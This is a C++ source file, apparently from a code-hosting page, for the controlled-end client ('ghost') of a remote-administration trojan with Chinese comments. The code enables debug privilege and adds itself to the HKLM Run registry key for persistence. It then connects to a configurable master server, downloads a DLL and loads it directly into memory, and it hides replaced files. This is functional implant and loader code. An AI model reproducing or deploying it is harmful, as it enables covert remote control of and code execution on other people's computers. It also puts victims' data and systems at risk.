369 lines
9.8 KiB
C++
369 lines
9.8 KiB
C++
|
||
#include <stdio.h>
|
||
#include <iostream>
|
||
#include <corecrt_io.h>
|
||
#include "common/commands.h"
|
||
#include "StdAfx.h"
|
||
#include "MemoryModule.h"
|
||
#include <WS2tcpip.h>
|
||
#pragma comment(lib, "ws2_32.lib")
|
||
|
||
// 自动启动注册表中的值
|
||
#define REG_NAME "a_ghost"
|
||
|
||
typedef void (*StopRun)();
|
||
|
||
typedef bool (*IsStoped)();
|
||
|
||
typedef BOOL (*IsExit)();
|
||
|
||
// 停止程序运行
|
||
StopRun stop = NULL;
|
||
|
||
// 是否成功停止
|
||
IsStoped bStop = NULL;
|
||
|
||
// 是否退出被控端
|
||
IsExit bExit = NULL;
|
||
|
||
BOOL status = 0;
|
||
|
||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
|
||
|
||
//提升权限
|
||
void DebugPrivilege()
|
||
{
|
||
HANDLE hToken = NULL;
|
||
//打开当前进程的访问令牌
|
||
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
|
||
|
||
if( hRet)
|
||
{
|
||
TOKEN_PRIVILEGES tp;
|
||
tp.PrivilegeCount = 1;
|
||
//取得描述权限的LUID
|
||
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
|
||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||
//调整访问令牌的权限
|
||
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
|
||
|
||
CloseHandle(hToken);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* @brief 设置本身开机自启动
|
||
* @param[in] *sPath 注册表的路径
|
||
* @param[in] *sNmae 注册表项名称
|
||
* @return 返回注册结果
|
||
* @details Win7 64位机器上测试结果表明，注册项在：\n
|
||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||
* @note 首次运行需要以管理员权限运行，才能向注册表写入开机启动项
|
||
*/
|
||
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||
{
|
||
DebugPrivilege();
|
||
|
||
// 写入的注册表路径
|
||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||
|
||
// 在注册表中写入启动信息
|
||
HKEY hKey = NULL;
|
||
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||
|
||
// 判断是否成功
|
||
if(lRet != ERROR_SUCCESS)
|
||
return FALSE;
|
||
|
||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||
|
||
// 关闭注册表
|
||
RegCloseKey(hKey);
|
||
|
||
// 判断是否成功
|
||
return lRet == ERROR_SUCCESS;
|
||
}
|
||
|
||
BOOL CALLBACK callback(DWORD CtrlType)
|
||
{
|
||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||
{
|
||
status = 1;
|
||
if(stop) stop();
|
||
while(1==status)
|
||
Sleep(20);
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
// 运行程序.
|
||
BOOL Run(const char* argv1, int argv2);
|
||
|
||
// Package header.
|
||
typedef struct PkgHeader {
|
||
char flag[8];
|
||
int totalLen;
|
||
int originLen;
|
||
PkgHeader(int size) {
|
||
memset(flag, 0, sizeof(flag));
|
||
strcpy_s(flag, "Hello?");
|
||
originLen = size;
|
||
totalLen = sizeof(PkgHeader) + size;
|
||
}
|
||
}PkgHeader;
|
||
|
||
// A DLL runner.
|
||
class DllRunner {
|
||
public:
|
||
virtual void* LoadLibraryA(const char* path) = 0;
|
||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
||
virtual BOOL FreeLibrary(void* mod) = 0;
|
||
};
|
||
|
||
// Default DLL runner.
|
||
class DefaultDllRunner : public DllRunner {
|
||
private:
|
||
HMODULE m_mod;
|
||
public:
|
||
DefaultDllRunner() : m_mod(nullptr) {}
|
||
// Load DLL from the disk.
|
||
virtual void* LoadLibraryA(const char* path) {
|
||
return m_mod = ::LoadLibraryA(path);
|
||
}
|
||
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
|
||
return ::GetProcAddress(m_mod, lpProcName);
|
||
}
|
||
virtual BOOL FreeLibrary(void* mod) {
|
||
return ::FreeLibrary(m_mod);
|
||
}
|
||
};
|
||
|
||
// Memory DLL runner.
|
||
class MemoryDllRunner : public DllRunner {
|
||
private:
|
||
HMEMORYMODULE m_mod;
|
||
std::string GetIPAddress(const char* hostName)
|
||
{
|
||
// 1. 判断是不是合法的 IPv4 地址
|
||
sockaddr_in sa;
|
||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||
// 是合法 IPv4 地址，直接返回
|
||
return std::string(hostName);
|
||
}
|
||
|
||
// 2. 否则尝试解析域名
|
||
addrinfo hints = {}, * res = nullptr;
|
||
hints.ai_family = AF_INET; // 只支持 IPv4
|
||
hints.ai_socktype = SOCK_STREAM;
|
||
hints.ai_protocol = IPPROTO_TCP;
|
||
|
||
if (getaddrinfo(hostName, nullptr, &hints, &res) != 0)
|
||
return "";
|
||
|
||
char ipStr[INET_ADDRSTRLEN] = {};
|
||
sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr;
|
||
inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN);
|
||
|
||
freeaddrinfo(res);
|
||
return std::string(ipStr);
|
||
}
|
||
public:
|
||
MemoryDllRunner() : m_mod(nullptr){}
|
||
// Request DLL from the master.
|
||
virtual void* LoadLibraryA(const char* path) {
|
||
WSADATA wsaData = {};
|
||
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
||
return nullptr;
|
||
|
||
const int bufSize = 4 * 1024 * 1024;
|
||
char* buffer = new char[bufSize];
|
||
bool isFirstConnect = true;
|
||
|
||
do{
|
||
if (!isFirstConnect)
|
||
Sleep(5000);
|
||
|
||
isFirstConnect = false;
|
||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||
if (clientSocket == INVALID_SOCKET) {
|
||
continue;
|
||
}
|
||
|
||
DWORD timeout = 5000;
|
||
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
|
||
|
||
sockaddr_in serverAddr = {};
|
||
serverAddr.sin_family = AF_INET;
|
||
serverAddr.sin_port = htons(g_ConnectAddress.ServerPort());
|
||
std::string ip = GetIPAddress(g_ConnectAddress.ServerIP());
|
||
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
|
||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||
closesocket(clientSocket);
|
||
continue;
|
||
}
|
||
#ifdef _DEBUG
|
||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
|
||
#else
|
||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
|
||
#endif
|
||
char req[sizeof(PkgHeader) + 4] = {};
|
||
memcpy(req, &PkgHeader(4), sizeof(PkgHeader));
|
||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||
if (bytesSent != sizeof(req)) {
|
||
closesocket(clientSocket);
|
||
continue;
|
||
}
|
||
char *ptr = buffer + sizeof(PkgHeader);
|
||
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
||
while (totalReceived < bufSize) {
|
||
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
||
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
|
||
if (bytesReceived <= 0) break;
|
||
totalReceived += bytesReceived;
|
||
}
|
||
if (totalReceived < sizeof(PkgHeader) + 6) {
|
||
closesocket(clientSocket);
|
||
continue;
|
||
}
|
||
BYTE cmd = ptr[0], type = ptr[1];
|
||
int size = 0;
|
||
memcpy(&size, ptr + 2, sizeof(int));
|
||
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
|
||
continue;
|
||
}
|
||
|
||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||
closesocket(clientSocket);
|
||
} while (false);
|
||
|
||
SAFE_DELETE_ARRAY(buffer);
|
||
WSACleanup();
|
||
return m_mod;
|
||
}
|
||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
||
}
|
||
virtual BOOL FreeLibrary(void* mod) {
|
||
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
||
return TRUE;
|
||
}
|
||
};
|
||
|
||
// @brief 首先读取settings.ini配置文件，获取IP和端口.
|
||
// [settings]
|
||
// localIp=XXX
|
||
// ghost=6688
|
||
// 如果配置文件不存在就从命令行中获取IP和端口.
|
||
int main(int argc, const char *argv[])
|
||
{
|
||
if(!SetSelfStart(argv[0], REG_NAME))
|
||
{
|
||
std::cout<<"设置开机自启动失败，请用管理员权限运行.\n";
|
||
}
|
||
status = 0;
|
||
SetConsoleCtrlHandler(&callback, TRUE);
|
||
|
||
do {
|
||
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||
if (ret == 1) {
|
||
return -1;
|
||
}
|
||
} while (status == 0);
|
||
|
||
status = 0;
|
||
return -1;
|
||
}
|
||
|
||
// 传入命令行参数: IP 和 端口.
|
||
BOOL Run(const char* argv1, int argv2) {
|
||
BOOL result = FALSE;
|
||
char path[_MAX_PATH], * p = path;
|
||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||
while (*p) ++p;
|
||
while ('\\' != *p) --p;
|
||
*(p + 1) = 0;
|
||
std::string folder = path;
|
||
std::string oldFile = folder + "ServerDll.old";
|
||
std::string newFile = folder + "ServerDll.new";
|
||
strcpy(p + 1, "ServerDll.dll");
|
||
BOOL ok = TRUE;
|
||
if (_access(newFile.c_str(), 0) != -1) {
|
||
if (_access(oldFile.c_str(), 0) != -1)
|
||
{
|
||
if (!DeleteFileA(oldFile.c_str()))
|
||
{
|
||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||
ok = FALSE;
|
||
}
|
||
}
|
||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||
ok = FALSE;
|
||
}else {
|
||
// 设置文件属性为隐藏
|
||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||
{
|
||
Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
|
||
}
|
||
}
|
||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||
MoveFileA(oldFile.c_str(), path);// recover
|
||
}else if (ok){
|
||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||
}
|
||
}
|
||
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner;
|
||
void* hDll = runner->LoadLibraryA(path);
|
||
typedef void (*TestRun)(char* strHost, int nPort);
|
||
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||
if (NULL == run) {
|
||
if (hDll) runner->FreeLibrary(hDll);
|
||
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
||
Sleep(3000);
|
||
delete runner;
|
||
return FALSE;
|
||
}
|
||
do
|
||
{
|
||
char ip[_MAX_PATH];
|
||
strcpy_s(ip, g_ConnectAddress.ServerIP());
|
||
int port = g_ConnectAddress.ServerPort();
|
||
strcpy(p + 1, "settings.ini");
|
||
if (_access(path, 0) == -1) { // 文件不存在: 优先从参数中取值，其次是从g_ConnectAddress取值.
|
||
strcpy(ip, argv1);
|
||
port = argv2;
|
||
}
|
||
else {
|
||
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
||
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
||
}
|
||
Mprintf("[server] %s:%d\n", ip, port);
|
||
do
|
||
{
|
||
run(ip, port);
|
||
while (bStop && !bStop() && 0 == status)
|
||
Sleep(20);
|
||
} while (bExit && !bExit() && 0 == status);
|
||
|
||
while (bStop && !bStop() && 1 == status)
|
||
Sleep(20);
|
||
if (bExit) {
|
||
result = bExit();
|
||
}
|
||
} while (result == 2);
|
||
if (!runner->FreeLibrary(hDll)) {
|
||
Mprintf("释放动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
||
}
|
||
else {
|
||
Mprintf("释放动态链接库\"ServerDll.dll\"成功!\n");
|
||
}
|
||
delete runner;
|
||
return result;
|
||
}
|